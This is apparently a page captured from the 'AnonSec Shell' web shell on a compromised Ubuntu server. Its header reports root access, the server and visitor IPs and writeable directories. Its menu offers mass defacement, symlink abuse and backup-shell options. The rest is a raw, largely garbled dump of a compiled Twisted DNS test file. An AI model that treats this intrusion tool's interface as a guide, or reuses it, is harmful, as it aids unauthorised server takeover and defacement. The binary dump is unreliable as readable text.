AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/names/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/names/test/__pycache__/test_common.cpython-310.pyc
o

�b�@s�dZddlmZddlmZddlmZddlmZm	Z	m
Z
mZmZm
Z
ddlmZmZmZmZmZmZddlmZddlmZGd	d
�d
e�ZGdd�de�Zd
S)z$
Tests for L{twisted.names.common}.
�)�verifyClass)�	IResolver)�ResolverBase)�EFORMAT�ENAME�ENOTIMP�EREFUSED�ESERVER�Query)�DNSFormatError�DNSNameError�DNSNotImplementedError�DNSQueryRefusedError�DNSServerError�DNSUnknownError)�Failure)�SynchronousTestCasec@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�ExceptionForCodeTestsz5
    Tests for L{ResolverBase.exceptionForCode}.
    cCst�j|_dS�N)r�exceptionForCode��self�r�@/usr/lib/python3/dist-packages/twisted/names/test/test_common.py�setUpszExceptionForCodeTests.setUpcC�|�|�t�t�dS)zd
        L{ResolverBase.exceptionForCode} converts L{EFORMAT} to
        L{DNSFormatError}.
        N)�assertIsrrrrrrr�test_eformat"�z"ExceptionForCodeTests.test_eformatcCr)zd
        L{ResolverBase.exceptionForCode} converts L{ESERVER} to
        L{DNSServerError}.
        N)rrr	rrrrr�test_eserver)rz"ExceptionForCodeTests.test_eservercCr)zX
        L{ResolverBase.exceptionForCode} converts L{ENAME} to L{DNSNameError}.
        N)rrrrrrrr�
test_ename0sz ExceptionForCodeTests.test_enamecCr)zl
        L{ResolverBase.exceptionForCode} converts L{ENOTIMP} to
        L{DNSNotImplementedError}.
        N)rrrr
rrrr�test_enotimp6rz"ExceptionForCodeTests.test_enotimpcCr)zk
        L{ResolverBase.exceptionForCode} converts L{EREFUSED} to
        L{DNSQueryRefusedError}.
        N)rrrrrrrr�
test_erefused=rz#ExceptionForCodeTests.test_erefusedcCs|�|�t��t�dS)zr
        L{ResolverBase.exceptionForCode} converts any other response code to
        L{DNSUnknownError}.
        N)rr�objectrrrrr�
test_otherDsz ExceptionForCodeTests.test_otherN)�__name__�
__module__�__qualname__�__doc__rrrr r!r"r$rrrrrsrc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�
QueryTestsz*
    Tests for L{ResolverBase.query}.
    cCsttt�dS)zF
        L{ResolverBase} provides the L{IResolver} interface.
        N)rrrrrrr�"test_resolverBaseProvidesIResolverQsz-QueryTests.test_resolverBaseProvidesIResolvercsFg�t�}d�fdd�i|_tddd�}|�|d�|�dg��dS)	z�
        L{ResolverBase.query} looks up a method to invoke using the type of the
        query passed to it and the C{typeToMethod} mapping on itself.
        �90cs��||f�Sr)�append��query�timeout��resultsrr�<lambda>_sz6QueryTests.test_typeToMethodDispatch.<locals>.<lambda>�example.com��name�type�{)r3r7N)r�typeToMethodr
r.�assertEqual)r�resolverr.rr0r�test_typeToMethodDispatchWs�z$QueryTests.test_typeToMethodDispatchcsZt��t�}d�fdd�i|_tddd�}|�|d�}g}|�|j�|��|d�dS)	z�
        L{ResolverBase.query} returns a L{Deferred} which fires with the result
        of the method found in the C{typeToMethod} mapping for the type of the
        query passed to it.
        i1�cs�Srrr-��expectedrrr2msz4QueryTests.test_typeToMethodResult.<locals>.<lambda>r3r4r7rN)r#rr8r
r.�addBothr,r9�rr:r.�
queryDeferred�resultrr<r�test_typeToMethodResultesz"QueryTests.test_typeToMethodResultcCsVt�}i|_tddd�}|�|d�}g}|�|j�|�|dt�|d�t	�dS)z�
        L{ResolverBase.query} returns a L{Deferred} which fails with
        L{NotImplementedError} when called with a query of a type not present in
        its C{typeToMethod} dictionary.
        r3r+r4r7rN)
rr8r
r.r>r,�assertIsInstancer�trap�NotImplementedErrorr?rrr�test_unknownQueryTypetsz QueryTests.test_unknownQueryTypeN)r%r&r'r(r*r;rBrFrrrrr)Lsr)N)r(�zope.interface.verifyr�twisted.internet.interfacesr�twisted.names.commonr�twisted.names.dnsrrrrr	r
�twisted.names.errorrrr
rrr�twisted.python.failurer�twisted.trial.unittestrrr)rrrr�<module>s  2

Anon7 - 2022
AnonSec Team